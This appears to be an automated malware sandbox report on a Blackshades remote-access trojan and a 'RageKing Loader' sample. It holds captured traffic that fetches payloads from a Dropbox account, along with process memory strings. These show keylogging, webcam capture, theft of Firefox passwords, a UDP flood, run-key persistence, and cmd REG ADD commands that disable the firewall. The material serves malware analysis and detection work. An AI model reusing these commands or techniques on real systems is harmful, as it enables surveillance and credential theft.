GET /u/15572473/winupdater.exe HTTP/1.1

Host: dl.dropbox.com

Connection: Keep-Alive

HTTP/1.1 302 FOUND

Server: nginx

Date: Tue, 16 Aug 2016 22:18:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

content-security-policy: sandbox

location: hXXp://dl.dropboxusercontent.com/u/15572473/winupdater.exe

pragma: no-cache

cache-control: no-cache

X-Dropbox-Request-Id: 0fbeda0ed65e5e8ce5327801982ed800

X-Robots-Tag: noindex, nofollow, noimageindex

8f..302 Found..The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/winupdater.exe;..you should be redirected automatically.....0......

GET /u/15572473/stuff.txt HTTP/1.1

Host: dl.dropbox.com

HTTP/1.1 302 FOUND

Server: nginx

Date: Tue, 16 Aug 2016 22:18:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

content-security-policy: sandbox

location: hXXp://dl.dropboxusercontent.com/u/15572473/stuff.txt

pragma: no-cache

cache-control: no-cache

X-Dropbox-Request-Id: 79222ee7f2e7c1c09f4b7a468dcdbd6a

X-Robots-Tag: noindex, nofollow, noimageindex

8a..302 Found..The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/stuff.txt;..you should be redirected automatically.....0..HTTP/1.1 302 FOUND..Server: nginx..Date: Tue, 16 Aug 2016 22:18:47 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..content-security-policy: sandbox..location: hXXp://dl.dropboxusercontent.com/u/15572473/stuff.txt..pragma: no-cache..cache-control: no-cache..X-Dropbox-Request-Id: 79222ee7f2e7c1c09f4b7a468dcdbd6a..X-Robots-Tag: noindex, nofollow, noimageindex..8a..302 Found..The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/stuff.txt;..you should be redirected automatically.....0..t>....

GET /u/15572473/System.Data.SQLite.DLL HTTP/1.1

Host: dl.dropbox.com

HTTP/1.1 302 FOUND

Server: nginx

Date: Tue, 16 Aug 2016 22:18:49 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

content-security-policy: sandbox

location: hXXp://dl.dropboxusercontent.com/u/15572473/System.Data.SQLite.DLL

pragma: no-cache

cache-control: no-cache

X-Dropbox-Request-Id: 49dbbdfbb8bf93d68517018378eeab22

X-Robots-Tag: noindex, nofollow, noimageindex

97..302 Found..The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/System.Data.SQLite.DLL;..you should be redirected automatically.....0..HTTP/1.1 302 FOUND..Server: nginx..Date: Tue, 16 Aug 2016 22:18:49 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..content-security-policy: sandbox..location: hXXp://dl.dropboxusercontent.com/u/15572473/System.Data.SQLite.DLL..pragma: no-cache..cache-control: no-cache..X-Dropbox-Request-Id: 49dbbdfbb8bf93d68517018378eeab22..X-Robots-Tag: noindex, nofollow, noimageindex..97..302 Found..The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/System.Data.SQLite.DLL;..you should be redirected automatically.....0..

GET /u/15572473/winupdater.exe HTTP/1.1

Host: dl.dropbox.com

Connection: Keep-Alive

HTTP/1.1 302 FOUND

Server: nginx

Date: Tue, 16 Aug 2016 22:18:43 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

content-security-policy: sandbox

location: hXXp://dl.dropboxusercontent.com/u/15572473/winupdater.exe

pragma: no-cache

cache-control: no-cache

X-Dropbox-Request-Id: 3a5bdac17aacad82f198b29683ddae0c

X-Robots-Tag: noindex, nofollow, noimageindex

8f..302 Found..The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/winupdater.exe;..you should be redirected automatically.....0......

GET /u/15572473/stuff.txt HTTP/1.1

Host: dl.dropbox.com

HTTP/1.1 302 FOUND

Server: nginx

Date: Tue, 16 Aug 2016 22:18:44 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

content-security-policy: sandbox

location: hXXp://dl.dropboxusercontent.com/u/15572473/stuff.txt

pragma: no-cache

cache-control: no-cache

X-Dropbox-Request-Id: f2b9dd6f10f7e831564c16bf99e54ff3

X-Robots-Tag: noindex, nofollow, noimageindex

8a..302 Found..The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/stuff.txt;..you should be redirected automatically.....0..HTTP/1.1 302 FOUND..Server: nginx..Date: Tue, 16 Aug 2016 22:18:44 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..content-security-policy: sandbox..location: hXXp://dl.dropboxusercontent.com/u/15572473/stuff.txt..pragma: no-cache..cache-control: no-cache..X-Dropbox-Request-Id: f2b9dd6f10f7e831564c16bf99e54ff3..X-Robots-Tag: noindex, nofollow, noimageindex..8a..302 Found..The resource was found at hXXp://dl.dropboxusercontent.com/u/15572473/stuff.txt;..you should be redirected automatically.....0..

GET /u/15572473/stuff.txt HTTP/1.1

Host: dl.dropboxusercontent.com

Connection: Keep-Alive

HTTP/1.1 302 FOUND

Server: nginx

Date: Tue, 16 Aug 2016 22:18:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

content-security-policy: sandbox

set-cookie: uc_session=Gt9RQE0QJA8igf114LW8Z425QPo7puIhuOHcPlDPJwsDLURiddUdo9HYqZLxDVPb; Domain=dropboxusercontent.com; httponly; Path=/; secure

location: hXXps://dl.dropboxusercontent.com/u/15572473/stuff.txt

pragma: no-cache

cache-control: no-cache

X-Dropbox-Request-Id: 5cddababd87659d1043aca6fd1f108f4

X-Robots-Tag: noindex, nofollow, noimageindex

8b..302 Found..The resource was found at hXXps://dl.dropboxusercontent.com/u/15572473/stuff.txt;..you should be redirected automatically.....0..HTTP/1.1 302 FOUND..Server: nginx..Date: Tue, 16 Aug 2016 22:18:47 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..content-security-policy: sandbox..set-cookie: uc_session=Gt9RQE0QJA8igf114LW8Z425QPo7puIhuOHcPlDPJwsDLURiddUdo9HYqZLxDVPb; Domain=dropboxusercontent.com; httponly; Path=/; secure..location: hXXps://dl.dropboxusercontent.com/u/15572473/stuff.txt..pragma: no-cache..cache-control: no-cache..X-Dropbox-Request-Id: 5cddababd87659d1043aca6fd1f108f4..X-Robots-Tag: noindex, nofollow, noimageindex..8b..302 Found..The resource was found at hXXps://dl.dropboxusercontent.com/u/15572473/stuff.txt;..you should be redirected automatically.....0..

GET /automation/n09230945.asp HTTP/1.1

Host: whatismyip.com

Connection: Keep-Alive

HTTP/1.1 403 Forbidden

Date: Tue, 16 Aug 2016 22:18:49 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d3221c883911da911c621d8704f2e93801471385929; expires=Wed, 16-Aug-17 22:18:49 GMT; path=/; domain=.whatismyip.com; HttpOnly

Va

GET /u/15572473/stuff.txt HTTP/1.1

Host: dl.dropboxusercontent.com

Connection: Keep-Alive

HTTP/1.1 302 FOUND

Server: nginx

Date: Tue, 16 Aug 2016 22:18:44 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

content-security-policy: sandbox

set-cookie: uc_session=EdE8rfssgM3hTmMOMnFZewfogXpgBh4fFWVvMYK2NXcJ0kHx3lKSiMPVBucbHXJb; Domain=dropboxusercontent.com; httponly; Path=/; secure

location: hXXps://dl.dropboxusercontent.com/u/15572473/stuff.txt

pragma: no-cache

cache-control: no-cache

X-Dropbox-Request-Id: 5d318df2c9d2758e7610f2db6178bc2e

X-Robots-Tag: noindex, nofollow, noimageindex

8b..302 Found..The resource was found at hXXps://dl.dropboxusercontent.com/u/15572473/stuff.txt;..you should be redirected automatically.....0..HTTP/1.1 302 FOUND..Server: nginx..Date: Tue, 16 Aug 2016 22:18:44 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..content-security-policy: sandbox..set-cookie: uc_session=EdE8rfssgM3hTmMOMnFZewfogXpgBh4fFWVvMYK2NXcJ0kHx3lKSiMPVBucbHXJb; Domain=dropboxusercontent.com; httponly; Path=/; secure..location: hXXps://dl.dropboxusercontent.com/u/15572473/stuff.txt..pragma: no-cache..cache-control: no-cache..X-Dropbox-Request-Id: 5d318df2c9d2758e7610f2db6178bc2e..X-Robots-Tag: noindex, nofollow, noimageindex..8b..302 Found..The resource was found at hXXps://dl.dropboxusercontent.com/u/15572473/stuff.txt;..you should be redirected automatically.....0..

GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Length: 18

Content-Type: text/plain

Last-Modified: Thu, 14 Apr 2016 22:20:39 GMT

Accept-Ranges: bytes

ETag: "8095d7df9b96d11:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

X-CID: 7

X-CCC: RU

X-MSEdge-Ref: Ref A: 943F271D40D54145B9E4FF0225337CEE Ref B: 97F40EB8C95A186B67D4E3DE8A1BA4A8 Ref C: Tue Aug 16 15:18:44 2016 PST

Date: Tue, 16 Aug 2016 22:18:43 GMT

1401D1969BE01E11A6....

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Length: 49640

Content-Type: application/vnd.ms-cab-compressed

Last-Modified: Fri, 15 Apr 2016 17:23:18 GMT

Accept-Ranges: bytes

ETag: "0c730803b97d11:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

X-CID: 7

X-CCC: RU

X-MSEdge-Ref: Ref A: 9FCBF4C0594C43FD91056AE8676A21FB Ref B: F3EFDD145957D8C900761EB8C5A3D875 Ref C: Tue Aug 16 15:18:44 2016 PST

Date: Tue, 16 Aug 2016 22:18:43 GMT

MSCF............,...................I..................HaR .authroot.stl.%.u3S8..CK...<T.......4v.e.3h.......l...kICY*7-viS.ZH{i.."QY...H.T$!..L..g......k^.w.s..y?..}....4.......d.4...0....)...0..@.......D. 0Y......#p.&;..,..L....._.....ppSf^.....\x....PSSC........4..Apw..:..*....."(..6..............".3..6#.*9..yx>.w..aX....U..:.*G?..3......wY.Z=G..^...J.......Qt.U.xiD2..o....1f.a.9...&...T..\.X<u.WU/.]=./8. .sK.......(.<.A$H.............5...y......"...\...IP..A(y....]..fc`.r)Y.$..<.V.............'....f..X.Y.<......R...zq.5nfO,..NE.....*/ud.7.=.".3..........%.. ....F.......,.e.3.e..... ..T...=x.BD.........R.0..3D.....W......v<\{...Oj>.$YT)LQ..........{.......s=.vs..........dY].<.v..<..w[.{.Z..qV.............= ......5.5........tm... ...SZ.....e-1e<.rX..K3>..~]{b#..&......b.e......;...?......7...!W......e\..a>!{....t.....r...TV...h....4...........Bx...aBp...............F....kx. V.q....g.?.q\.z.?h>V..ORz.....t...%.{w...4..(.......m.|..X\,./.4w.6?M$.q;q.............x?...Auip.... 8..".4...a}E.98T..*...N...7]p<G.&I.........7....@.Q.#.%.:..TE7....d..b. .E.V...-.=1.........j.)t...Z &.e.o..m..L.s.2.\...j4.d..............4.....9...3...03...-2c)L.."..y.7.|... !O.1.....i:....J.:.P..5...6.W...XP..J..^.....u.v....|..U..-..Q..CF.r ..........`.V~.C...=.=.m...6N.,..OV.Z...d.K.-....".D.8.V,}X.P.D..X"8.....;DD."../x.(M..O........1V6R./.3|I...9,........eh..........k...W.....t.*...K..a.....x.0#.t..F.!...7Vk ........7....X......2.t!...AB..b...1.&..S.`G...1@.f.I."...vl.g.}Rs....y.z}....}.

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

vbc.exe_1624:

`.rsrc

WebHide

bss_server.usrRelay

tmrWebHide

bss_server.Socket

mswinsck.ocx

MSWinsockLib.Winsock

modLaunchWeb

%Program Files% (x86)\Microsoft Visual Studio\VB98\VB6.OLB

C:\Windows\SysWOW64\ieframe.dll

winmm.dll

user32.dll

advapi32.dll

shell32.dll

kernel32.dll

advpack.dll

avicap32.dll

GetAsyncKeyState

SetWindowsHookExA

UnhookWindowsHookEx

GetKeyboardLayout

GetKeyboardState

GetKeyState

CreatePipe

PSAPI.DLL

GetTcpTable

ExitWindowsEx

EnumWindows

WinInet.dll

DeleteUrlCacheEntryA

urlmon

URLDownloadToFileA

ShellExecuteA

keybd_event

CHAT_ADDMSG

cmdShowfiles

%Program Files% (x86)\Microsoft Visual Studio\VB98\mswinsck.oca

tmrTCP

tmrUDP

UDPSocket

UDPFlood

VBA6.DLL

C:\Windows\SysWow64\MSVBVM60.DLL\3

ws2_32.dll

AddMsg

ntdll.dll

GdiplusShutdown

WSOCK32.DLL

RegCloseKey

RegOpenKeyExA

ole32.dll

crypt32.dll

oleaut32.dll

RegOpenKeyA

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

RegCreateKeyA

RegDeleteKeyA

RegEnumKeyExA

gdi32.dll

olepro32.dll

InternetOpenUrlA

FtpSetCurrentDirectoryA

FtpGetFileA

FtpPutFileA

FtpGetCurrentDirectoryA

FtpOpenFileA

FtpGetFileSize

FtpDeleteFileA

FtpCreateDirectoryA

FtpRemoveDirectoryA

FtpRenameFileA

FtpDownload

FtpUpload

FtpGetDirectory

Http_DownloadFile

RemotePort

LocalPort

msvbvm60.dll

?8??8??8??8??8?

uMsg

strMsg

MsgNum

AllMsgs

Port

Password

WebURL

lngPort

Returns/Sets the port to be connected to on the remote computer

Returns/Sets the port used on the local computer

Binds socket to specific port and adapter

Occurs after a send operation has completed

.text

`.data

.rsrc

L].IK@

KERNEL32.DLL

MSVBVM60.DLL

*\AC:\Users\Admin\Desktop\Blackshades project\Blackshades NET\server\server.vbp

2c49f800-c2dd-11cf-9ad6-0080c7e7b78d

Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5

{00020404-0000-0000-C000-000000000046}

3.8.1

data.dat

\nir_cmd.bss speak text

\nir_cmd.bss setsysvolume 65535

\nir_cmd.bss mutesysvolume 1

\nir_cmd.bss mutesysvolume 0

\nir_cmd.bss screensaver

\nir_cmd.bss monitor off

\nir_cmd.bss monitor on

PORT

TRANSFERPORT

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\

Keylog

Wscript.Shell

HKEY_CLASSES_ROOT\HTTP\shell\open\command\

\winlogon.exe

iexplore.exe

ADVAPI32.dll

Windows Firewall/Internet Connection Sharing (ICS)

WebCamCapture

\Vuze\Azureus.exe

\LimeWire\LimeWire.exe

\uTorrent\uTorrent.exe

\BitTorrent\bittorrent.exe

\MSWINSCK.OCX

\cmd.exe

\pws_cdk.bss

nkey

dkey

regsvr32.exe

\pws_mail.bss

\pws_mess.bss

\nir_cmd.bss

cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f

cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "

:*:Enabled:Windows Messanger" /f

winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2

00000000

winmgmts:\\.\root\cimv2

Select * from Win32_Keyboard

api.ipinfodb.com

GET /v2/ip_query.php?key=86c9c734428c1230cba1356dcf99dc882bc229bf93fbd6491db4e8776d6d9a88&timezone=off HTTP/1.1

Host: api.ipinfodb.com

GET /v2/ip_query_country.php?key=86c9c734428c1230cba1356dcf99dc882bc229bf93fbd6491db4e8776d6d9a88&timezone=off HTTP/1.1

Portable

winmgmts:\\.\root\SecurityCenter

\wallpaper.bmp

\wallpaper.jpg

WScript.Shell

WinServer 2003, Web Edition

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName

__oxFrame.class__

Scripting.FileSystemObject

Autorun.ini

{557CF401-1A04-11D3-9A73-0000F81EF32E}

{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}

Address family not supported by protocol family.

Operation already in progress.

Operation now in progress.

Socket operation on nonsocket.

Operation not supported.

Protocol family not supported.

Protocol not supported.

Socket type not supported.

Winsock.dll version out of range.

CSocketMaster.SocketExists

CSocketMaster.PostSocket

CSocketMaster.ConnectToIP

CSocketMaster.ResolveIfHostname

CSocketMaster.SendBufferedDataUDP

CSocketMaster.SendBufferedData

sqlite3.dll

sqlite3_open

sqlite3_close

sqlite3_prepare_v2

sqlite3_step

sqlite3_finalize

sqlite3_column_text

abe2869f-9b47-4cd9-a358-c22904dba7f7

plds4.dll

/stext mess.dat

\mess.dat

/stext mail.dat

\mail.dat

SOFTWARE\MICROSOFT\Windows NT\CurrentVersion

Windows

plc4.dll

SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command

\Mozilla Firefox\

mozcrt19.dll

nspr4.dll

nssutil3.dll

softokn3.dll

nss3.dll

\Mozilla\Firefox\

profiles.ini

\signons.sqlite

select * from moz_logins

PK11_GetInternalKeySlot

http\shell\open\command

127.0.0.1

255.255.255.255

finalizarprocessoportas

CONNECT %s:%i HTTP/1.0

SOFTWARE\Classes\http\shell\open\command

Software\Classes\http\shell\open\command

Software\Microsoft\Windows NT\CurrentVersion\SystemRestore

code.is.a.winner

Software\Microsoft\Windows\CurrentVersion\Uninstall\eMule

SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\DigitalProductId

bps1.exe

bhookpl.dll

bnfa.exe

drvloadn.dll

drvloadx.dll

VNCHooks.dll

xr4tdwa.exe

shutdown.exe

TCnRawKeyBoard

HuntHTTPDownload

autorun.inf

hXXps://onlineeast#.bankofamerica.com

winlogon.exe

\dump.txt

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

\system32\userinit.exe,

@*\AC:\Users\Admin\Desktop\Blackshades project\Blackshades NET\server\server.vbp

vbc.exe_1624_rwx_00400000_00059000:

`.rsrc

WebHide

bss_server.usrRelay

tmrWebHide

bss_server.Socket

mswinsck.ocx

MSWinsockLib.Winsock

modLaunchWeb

%Program Files% (x86)\Microsoft Visual Studio\VB98\VB6.OLB

C:\Windows\SysWOW64\ieframe.dll

winmm.dll

user32.dll

advapi32.dll

shell32.dll

kernel32.dll

advpack.dll

avicap32.dll

GetAsyncKeyState

SetWindowsHookExA

UnhookWindowsHookEx

GetKeyboardLayout

GetKeyboardState

GetKeyState

CreatePipe

PSAPI.DLL

GetTcpTable

ExitWindowsEx

EnumWindows

WinInet.dll

DeleteUrlCacheEntryA

urlmon

URLDownloadToFileA

ShellExecuteA

keybd_event

CHAT_ADDMSG

cmdShowfiles

%Program Files% (x86)\Microsoft Visual Studio\VB98\mswinsck.oca

tmrTCP

tmrUDP

UDPSocket

UDPFlood

VBA6.DLL

C:\Windows\SysWow64\MSVBVM60.DLL\3

ws2_32.dll

AddMsg

ntdll.dll

GdiplusShutdown

WSOCK32.DLL

RegCloseKey

RegOpenKeyExA

ole32.dll

crypt32.dll

oleaut32.dll

RegOpenKeyA

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

RegCreateKeyA

RegDeleteKeyA

RegEnumKeyExA

gdi32.dll

olepro32.dll

InternetOpenUrlA

FtpSetCurrentDirectoryA

FtpGetFileA

FtpPutFileA

FtpGetCurrentDirectoryA

FtpOpenFileA

FtpGetFileSize

FtpDeleteFileA

FtpCreateDirectoryA

FtpRemoveDirectoryA

FtpRenameFileA

FtpDownload

FtpUpload

FtpGetDirectory

Http_DownloadFile

RemotePort

LocalPort

msvbvm60.dll

?8??8??8??8??8?

uMsg

strMsg

MsgNum

AllMsgs

Port

Password

WebURL

lngPort

Returns/Sets the port to be connected to on the remote computer

Returns/Sets the port used on the local computer

Binds socket to specific port and adapter

Occurs after a send operation has completed

.text

`.data

.rsrc

L].IK@

KERNEL32.DLL

MSVBVM60.DLL

*\AC:\Users\Admin\Desktop\Blackshades project\Blackshades NET\server\server.vbp

2c49f800-c2dd-11cf-9ad6-0080c7e7b78d

Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5

{00020404-0000-0000-C000-000000000046}

3.8.1

data.dat

\nir_cmd.bss speak text

\nir_cmd.bss setsysvolume 65535

\nir_cmd.bss mutesysvolume 1

\nir_cmd.bss mutesysvolume 0

\nir_cmd.bss screensaver

\nir_cmd.bss monitor off

\nir_cmd.bss monitor on

PORT

TRANSFERPORT

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\

Keylog

Wscript.Shell

HKEY_CLASSES_ROOT\HTTP\shell\open\command\

\winlogon.exe

iexplore.exe

ADVAPI32.dll

Windows Firewall/Internet Connection Sharing (ICS)

WebCamCapture

\Vuze\Azureus.exe

\LimeWire\LimeWire.exe

\uTorrent\uTorrent.exe

\BitTorrent\bittorrent.exe

\MSWINSCK.OCX

\cmd.exe

\pws_cdk.bss

nkey

dkey

regsvr32.exe

\pws_mail.bss

\pws_mess.bss

\nir_cmd.bss

cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "DoNotAllowExceptions" /t REG_DWORD /d "0" /f

cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "

:*:Enabled:Windows Messanger" /f

winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2

00000000

winmgmts:\\.\root\cimv2

Select * from Win32_Keyboard

api.ipinfodb.com

GET /v2/ip_query.php?key=86c9c734428c1230cba1356dcf99dc882bc229bf93fbd6491db4e8776d6d9a88&timezone=off HTTP/1.1

Host: api.ipinfodb.com

GET /v2/ip_query_country.php?key=86c9c734428c1230cba1356dcf99dc882bc229bf93fbd6491db4e8776d6d9a88&timezone=off HTTP/1.1

Portable

winmgmts:\\.\root\SecurityCenter

\wallpaper.bmp

\wallpaper.jpg

WScript.Shell

WinServer 2003, Web Edition

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName

__oxFrame.class__

Scripting.FileSystemObject

Autorun.ini

{557CF401-1A04-11D3-9A73-0000F81EF32E}

{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}

Address family not supported by protocol family.

Operation already in progress.

Operation now in progress.

Socket operation on nonsocket.

Operation not supported.

Protocol family not supported.

Protocol not supported.

Socket type not supported.

Winsock.dll version out of range.

CSocketMaster.SocketExists

CSocketMaster.PostSocket

CSocketMaster.ConnectToIP

CSocketMaster.ResolveIfHostname

CSocketMaster.SendBufferedDataUDP

CSocketMaster.SendBufferedData

sqlite3.dll

sqlite3_open

sqlite3_close

sqlite3_prepare_v2

sqlite3_step

sqlite3_finalize

sqlite3_column_text

abe2869f-9b47-4cd9-a358-c22904dba7f7

plds4.dll

/stext mess.dat

\mess.dat

/stext mail.dat

\mail.dat

SOFTWARE\MICROSOFT\Windows NT\CurrentVersion

Windows

plc4.dll

SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command

\Mozilla Firefox\

mozcrt19.dll

nspr4.dll

nssutil3.dll

softokn3.dll

nss3.dll

\Mozilla\Firefox\

profiles.ini

\signons.sqlite

select * from moz_logins

PK11_GetInternalKeySlot

http\shell\open\command

127.0.0.1

255.255.255.255

finalizarprocessoportas

CONNECT %s:%i HTTP/1.0

SOFTWARE\Classes\http\shell\open\command

Software\Classes\http\shell\open\command

Software\Microsoft\Windows NT\CurrentVersion\SystemRestore

code.is.a.winner

Software\Microsoft\Windows\CurrentVersion\Uninstall\eMule

SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\DigitalProductId

bps1.exe

bhookpl.dll

bnfa.exe

drvloadn.dll

drvloadx.dll

VNCHooks.dll

xr4tdwa.exe

shutdown.exe

TCnRawKeyBoard

HuntHTTPDownload

autorun.inf

hXXps://onlineeast#.bankofamerica.com

winlogon.exe

\dump.txt

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

\system32\userinit.exe,

@*\AC:\Users\Admin\Desktop\Blackshades project\Blackshades NET\server\server.vbp

5ufyh7855UF.exe_364:

.text

`.rdata

@.data

CNotSupportedException

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

kernel32.dll

%s%s.dll

%s (%s:%d)

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

CCmdTarget

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

hhctrl.ocx

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

commctrl_DragListMsg

comctl32.dll

comdlg32.dll

mfcm80.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

user32.dll

MSWHEEL_ROLLMSG

ole32.dll

mscoree.dll

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

.mixcrt

operator

GetProcessWindowStation

USER32.DLL

OLEACC.dll

%userprofile%

\Cookies\index.dat

KERNEL32.DLL

d3d9.dll

ntdll.dll

login

Password

Visit VVV.ragekings.com for more info

login1

vb_login_username

vb_login_password

vb_login_md5password

vb_login_md5password_utf

Login failed !

Invalid User/Password

login

hXXp://ragekings.com/forums/f80/

Login OK, Select Game

Updating File: %s

hXXp://ragekings.com/forums/#area-69-private-section

RageKing Loader.bak

hXXp://ragekings.com/forums/newthread.php?do=newthread&f=110

\\.\PhysicalDrive%d

--- Hard Disk No. %d ---

Number of Hard Disk Drives: %d

Computer Name: %s

Number of CPU(s): %d

Content-Type: application/x-www-form-urlencoded

Content-Disposition: form-data; name="%s"; filename="%s"

Content-Disposition: form-data; name="%s"

HTTP/1.0

hXXp://

hXXps://

Content-Length: %d

c:\Users\Sporten\Documents\Visual Studio 2005\Projects\RageKing Loader\release\RageKing Loader.pdb

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

KERNEL32.dll

CreateDialogIndirectParamA

GetKeyState

SetWindowsHookExA

UnhookWindowsHookEx

USER32.dll

GetViewportExtEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GDI32.dll

WINSPOOL.DRV

RegOpenKeyA

RegCloseKey

CryptDestroyKey

CryptDeriveKey

RegOpenKeyExA

RegDeleteKeyA

RegEnumKeyA

RegCreateKeyExA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

oledlg.dll

OLEAUT32.dll

FindFirstUrlCacheEntryA

DeleteUrlCacheEntry

FindCloseUrlCache

FindNextUrlCacheEntryA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpSendRequestA

HttpSendRequestExA

HttpEndRequestA

HttpQueryInfoA

WININET.dll

.PAVCArchiveException@@

.PAVCException@@

.PAVCObject@@

.PAVCOleException@@

.PAVCMemoryException@@

.PAVCSimpleException@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCUserException@@

.PAVCResourceException@@

.PAVCFileException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCOleDispatchException@@

zcÃ

Operating System (OS)

Operating System Folder

.?AVCCmdTarget@@

%Documents and Settings%\%current user%\Application Data\5ufyh7855UF.exe

***ÃŒc

...MOOO

3

34$14$34$\

34$14$34$

3

0,$2,$0,$

3,$1,$3,$

$ [[=9"^

C%9s7HF&

#%X6Mr

/.Pyw

j:\#k

/.Pyw[r

/.PywGr

accKeyboardShortcut

Login

Support

All Files (*.*)

No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.

#Unable to load mail system support.

Access to %1 was denied..An invalid file handle was associated with %1.

Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.

Disk full while accessing %1..An attempt was made to access %1 past its end.

No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.

VVV.RageKings.com

1.0.2.0

RageKing Loader.exe

ntvdm.exe_900:

.text

`.data

.rsrc

KERNEL32.dll

NTDLL.DLL

ADVAPI32.dll

GDI32.dll

USER32.dll

SoftPC

mscoree.dll

Please contact the application's support team for more information.

GetProcessWindowStation

